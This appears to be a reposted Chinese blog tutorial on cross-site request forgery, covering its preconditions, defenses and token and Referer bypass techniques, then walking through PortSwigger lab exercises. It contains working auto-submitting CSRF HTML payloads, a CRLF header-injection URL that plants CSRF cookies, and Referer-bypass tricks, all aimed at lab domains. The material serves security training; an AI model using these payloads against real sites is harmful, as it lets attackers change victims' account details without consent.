CSRF(Cross-Site Request Forgery) 跨站请求伪造

一、什么是跨站请求伪造

1. 什么是跨站请求伪造

定义:
跨站点请求伪造(也称为CSRF)是一种Web安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。它允许攻击者部分绕过同源策略。
危害:

  • 在受害者不知情时更改帐户上的邮箱地址、密码或进行资金转账
  • 根据操作的性质,攻击者可能能够完全控制用户的帐户。
  • 根据受害者的用户角色,攻击者可能完全控制应用程序。

2. CSRF成立三要素

(1)动作:一个有价值的操作。

应用程序中存在攻击者希望引发的操作。这可能是特权操作(如修改其他用户的权限)或对用户特定数据的任何操作(如更改用户自己的密码)。

(2)Cookie: 基于Cookie的会话处理。

应用程序仅依靠会话Cookie来识别发出请求的用户。没有用于跟踪会话或验证用户请求的其他机制。

(3) 参数:没有不可预测的请求参数。

执行操作的请求不包含攻击者无法确定或无法猜测其值的参数。

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

[email protected]

经分析源代码满足上述三要素。则可以构建CSRF攻击

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST"> 
      <!--动作更换邮箱-->
      <input type="hidden" name="email" value="[email protected]" />
      <!--无未知参数,全部可控-->
    </form>
    <script>
      document.forms[0].submit();
      <!--受害者自提交,自带Cookie-->
    </script>
  </body>
</html>

3. XSS 与CSRF的区别

XSS: 允许攻击者在受攻击用户的浏览器中执行任意JavaScript。 攻击者获取敏感信息,构造攻击。
CSRF: 允许攻击者诱使受害用户执行他们不想执行的操作。 攻击者引诱目标使用自己的敏感信息,但攻击者并未得到敏感信息。

XSS漏洞的后果通常比CSRF漏洞更严重

XSS CSRF
CSRF通常只适用于用户能够执行的操作。
许多应用程序通常实现CSRF防御,但忽略了一个或两个暴露的操作。 XSS通常可以执行用户能够执行的任何操作 ,不仅仅是出现漏洞的功能。
“单向”漏洞,因为虽然攻击者可以诱使受害者发出HTTP请求,但他们无法从该请求中检索响应。 “双向的”,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据渗透到攻击者选择的外部域。

4. CSRF有效的防御方式

  • CSRF token
  • SameSite cookie设置

如果SameSite属性设置为Strict,则浏览器将不会在来自其他站点的任何请求中包含该Cookie。
如果SameSite属性设置为lax,则浏览器将在源自另一个站点的请求中包含Cookie

SameSite cookie特例需要注意:
(1) 请求使用GET方法有cookie。使用其他方法(如POST)的请求将不包括Cookie。
(2) 请求来自用户的顶级导航,例如单击链接,或由脚本发起的请求,将不包括Cookie。

二、构造和使用CSRF攻击

跨站点请求伪造攻击的传递机制与反射XSS的传递机制基本相同。

  • 攻击者会将恶意的HTML语言放到他们控制的网站上
  • 诱使受害者访问该网站 ( 通过电子邮件或社交媒体消息向用户提供指向该网站的链接来实现)
  • 或者,如果攻击被放置在一个流行的网站上(例如,在用户评论中),只需等待用户访问该网站。
  • 如果, 一些简单的CSRF漏洞利用使用GET方法,并且可以在易受攻击的网站上使用单个URL完全自包含。 不需要使用外部站点,可以直接向受害者提供易受攻击域上的恶意URL。 实例如下:

<img src="https://vulnerable-website.com/email/[email protected]">

三、漏洞利用

首先要判断三要素(动作、cookie、参数)

POST /email/change HTTP/1.1    (动作满足)
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm   (cookie满足)

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
(参数不满足)

参数多了CSRF不满足第三点,所以成功利用CSRF攻击的重点,就在能否获取或绕过CSRF参数值。

1. CSRF令牌在GET方法中未验证

某些应用程序在请求使用POST方法时正确验证令牌,但在使用GET方法时跳过验证。

GET /email/[email protected] HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

例题 1、2

2. 令牌验证取决于令牌是否存在(不提交令牌,就不验证)

有些应用程序会在令牌存在时正确验证令牌,但如果省略了令牌,则跳过验证。
在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值),以绕过验证并进行CSRF攻击。

例题 3

3. 令牌与session未绑定

   某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护其已颁发的全局令牌池,并接受出现在该池中的任何令牌。  

攻击者可以使用自己的帐户登录到应用程序,获得有效令牌,然后将该令牌提供给CSRF攻击中的受害者用户。

例题 4

4. CSRF令牌绑定到非会话Cookie

    一些应用程序确实将CSRF令牌绑定到Cookie,但不绑定到用于跟踪会话的同一Cookie。当应用程序使用两个不同的框架,一个用于会话处理,另一个用于CSRF保护,而这两个框架没有集成在一起时,很容易发生这种情况。 
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]

攻击者可以使用自己的帐户登录到应用程序,获得有效的令牌和关联的Cookie,利用Cookie设置行为将他们的Cookie放入受害者的浏览器,并在他们的CSRF攻击中将他们的令牌提供给受害者。

  • 用攻击账号获取未使用令牌
  • 获取令牌对应cookie,并能成功设置到目标用户浏览器中
  • 引诱目标用户点击恶意代码发起访问。成功携带自身session,攻击者注入的cookie,和对应绑定的CSRF令牌

例题 5

5. CSRF令牌只是在Cookie中复制(双重提交防御)

      一些应用程序不维护已颁发的令牌的任何服务器端记录,而是在Cookie和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与在Cookie中提交的值匹配。被称为针对CSRF的“双重提交”防御,之所以提倡这种防御,是因为它实现起来很简单,并且不需要任何服务器端状态:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
    如果网站包含任何Cookie设置功能,攻击者不需要获得自己的有效令牌。利用Cookie设置行为将他们的Cookie放入受害者的浏览器,并在他们的CSRF攻击中将他们的令牌提供给受害者。

例题 6

6. 依据头部Referer防御CSRF的情况

除了使用CSRF令牌的防御之外,一些应用程序还利用HTTP Referer标头来尝试防御CSRF攻击,通常是通过验证请求是否来自应用程序自己的域。这种方法通常不太有效,而且经常会被绕过。

(1)去除referer头部实现绕过

    当Referer标头出现在请求中时,一些应用程序会对其进行验证,但如果省略了该标头,则会跳过验证。

<meta name="referrer" content="never">

例题 7

(2)根据referer验证规则实现绕过

    一些应用程序以一种可以绕过的简单方式验证Referer标头。例如,如果应用程序验证Referer中的域以预期值开始,则攻击者可以将其作为自己域的子域。

http://vulnerable-website.com.attacker-website.com/csrf-attack

    如果应用程序只是验证Referer包含自己的域名,则攻击者可以在URL中的其他位置放置所需的值:

http://attacker-website.com/csrf-attack?vulnerable-website.com

例题 8

四、漏洞举例

1. 没有防御措施的CSRF漏洞 (CSRF vulnerability with no defenses

点击更新邮箱,发现数据包

POST /my-account/change-email HTTP/1.1
Host: ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net
Cookie: session=BT0ZPi0OPz5jXKt8YFGUXaEXplu41nLP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: https://ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net
Referer: https://ac131fe81ef8564ac04c6e95000c0023.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=123%4012.com

核实三要素,满足
编制CSRF payload

<html>
<form method="$method" action="$url">
  <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
  document.forms[0].submit();
</script>
</html>

2. 令牌验证依赖于请求方法(CSRF where token validation depends on request method

点击更换邮箱按钮,查看数据包

POST /my-account/change-email HTTP/1.1
Host: aca81fbe1eeb5623c09977d400f40053.web-security-academy.net
Cookie: session=0TVaQZi5iUP2NW2TULxaarGPyCMK3ecf

email=123%40112.com&csrf=uC6ZVqrttoJlvoiP6GCNeLyGYuuvOgUV

存在csrf令牌,不满足三要素,无法直接使用CSRF攻击。考虑尝试更换请求方法尝试绕过令牌验证

GET /my-account/[email protected] HTTP/1.1
Host: aca81fbe1eeb5623c09977d400f40053.web-security-academy.net
Cookie: session=0TVaQZi5iUP2NW2TULxaarGPyCMK3ecf
Connection: close
证明可行,下面就需要构造html攻击代码,发给目标用户实施攻击了
<html>
<form method="GET" action="https://your-lab-domain/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<script>
    document.forms[0].submit();
</script>
</html>

3. 令牌验证取决于令牌是否存在 (CSRF where token validation depends on request method

点击换邮箱,查看数据包

POST /my-account/change-email HTTP/1.1
Host: ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net
Cookie: session=JdihT8iQfnPOkQtZmqu6qsNqzHfryBdj

email=123%40123.com&csrf=za6Byuww1x0ucYURUHdE2IVDWHyne5F1

尝试更换方法,不成功
再尝试原始包中去除令牌,成功。

POST /my-account/change-email HTTP/1.1
Host: ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net
Cookie: session=JdihT8iQfnPOkQtZmqu6qsNqzHfryBdj

email=heason%40123.com

构造payload,从攻击机发送给目标用户

<html>
  <form method="POST" action="https://ac6f1f7c1fe09517c0c79ffa00f70078.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
  </form>
  <script>
    document.forms[0].submit();
  </script>
</html>

4. 令牌未绑定到用户会话 (CSRF where token is not tied to user session

准备两个账户攻击者账户wiener, 目标账户carlos
使用正常浏览器登陆用户名为wiener的账户
点击更新邮件,查看数据包

POST /my-account/change-email HTTP/1.1
Host: ac1b1f341fd1c424c0ff9555001b000d.web-security-academy.net
Cookie: session=Zm4FeRqxmPtDV6zwb5JVR2ISAwGiQsEQ

email=123%40123.com&csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W

根据三要素,尝试更新方法、直接去掉令牌方式均不可行。
尝试令牌与session是否绑定。如果未保定,则可以使用攻击者账户的csrf,发送给目标账户。目标账户使用自己的session和攻击者的令牌,完成邮箱更换的操作
1、获取攻击者wiener新的令牌(获取后丢弃数据包,保证令牌未使用状态)csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W
2、使用匿名浏览器登陆目标用户模拟更换邮箱,将令牌替换为上述攻击者的令牌

POST /my-account/change-email HTTP/1.1
Host: ac1b1f341fd1c424c0ff9555001b000d.web-security-academy.net
Cookie: session=WIFMYDWYpdimrJU6fBdZsgNWBJ7CWpOr (目标用户carlos的session)

email=heason%40666.com&csrf=mD0sot399W1kL0NN7zljsPhHVRt0wz8W  (攻击者wiener令牌)

结果,目标用户carlos账户的邮箱被成功更换。证明令牌与session是否绑定。
获取新的未使用csrf令牌,构造CSRF代码

<html>
<form method="POST" action="https://ac2f1fe71f3b1e8cc00625ba00f900fc.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value="8XVl6nxXiMUEC2ZYJ8djwL39mPPcvzyy">
<script>
document.forms[0].submit();
</script>
</html>

5. 令牌绑定到非会话Cookie (CSRF where token is tied to non-session cookie

两个账户,尝试更换csrfKey 和csrf令牌。验证是否一致
csrf= lmjIpDMzZjMT1DytwERXkQu1CVHdk0H1
csrfKey:B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V

在原始数据包中更换,查看是否可以成功更换邮箱

POST /my-account/change-email HTTP/1.1
Host: acc21f311f942a71c072031e00990034.web-security-academy.net
Cookie: session=hAXbxoDzguTV9GylxOTUZJHPLWacHuzm; csrfKey=AuWI9z1zfCSj0Bbx6hLWTSUbV19A6U6Y; LastSearchTerm=heason
(更换csrfKey)

email=666%40666.com&csrf=gnOZbfEOu9zj5azJInK4E1TQ5nAPZRHG  (更换csrf)

成功响应,破解此题的思路是

  • hearder注入点,能注入csrfKey
  • 构造攻击代码,替换csrf和csrfKey

发现搜索框可以

HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=heason; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 3371

https://youlab-id//?search=heason%0d%0aSet-Cookie:%20csrfKey=B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V
构造CSRF攻击代码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acc21f311f942a71c072031e00990034.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="lmjIpDMzZjMT1DytwERXkQu1CVHdk0H1" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://acc21f311f942a71c072031e00990034.web-security-academy.net/?search=heason%0d%0aSet-Cookie:%20csrfKey=B2AjipewNVuxVWu2XLzHNo9cxG5fVw3V" onerror=document.forms[0].submit();>
  </body>
</html>

6. 在Cookie中复制令牌的CSRF(CSRF where token is duplicated in cookie)

首先三要素,发现CSRF令牌和对应cookie,尝试左右情况,发现可尝试复制令牌。
尤其是cookie中csrf token需要header 注入,不在赘述,与上一题相同。
CSRF恶意代码如下

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acfb1f721e24b7a4c0e3351a005700b2.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="sDiGXxJRvsIS9sNU0OADIbEiumM8UQSe" />
      <input type="submit" value="Submit request" />
    </form>
    <!--header injection,generate csrf cookie-->
    <img src="https://acfb1f721e24b7a4c0e3351a005700b2.web-security-academy.net/?search=heason%0d%0aSet-Cookie:%20csrf=sDiGXxJRvsIS9sNU0OADIbEiumM8UQSe" onerror=document.forms[0].submit();>
  </body>
</html>

7. Referer验证取决于是否存在标头(CSRF where Referer validation depends on header being present)

不在赘述前置流程。发现头部referer存在限制,尝试去掉referer头部。
CSRF攻击代码

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac4b1f4e1fa1b272c07211b9003e00c7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
	<meta name="referrer" content="never">
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

8. 具有中断引用验证的CSRF(CSRF with broken Referer validation

不在赘述前置流程。发现头部referer存在限制,尝试去掉不管用。
多次尝试发现Referer: https://arbitrary-incorrect-domain.net?your-lab-id.web-security-academy.net 成立
构造CSRF攻击代码

    许多浏览器现在默认情况下从Referer标头中剥离查询字符串。要覆盖此行为并确保请求中包含完整URL,请在请求中增加如下头部:

Referrer-Policy: unsafe-url

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/?aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net')</script>
    <form action="https://aceb1fe31e57ca0bc05a89f500e30013.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

猜你喜欢

转载自blog.csdn.net/eason612/article/details/124759689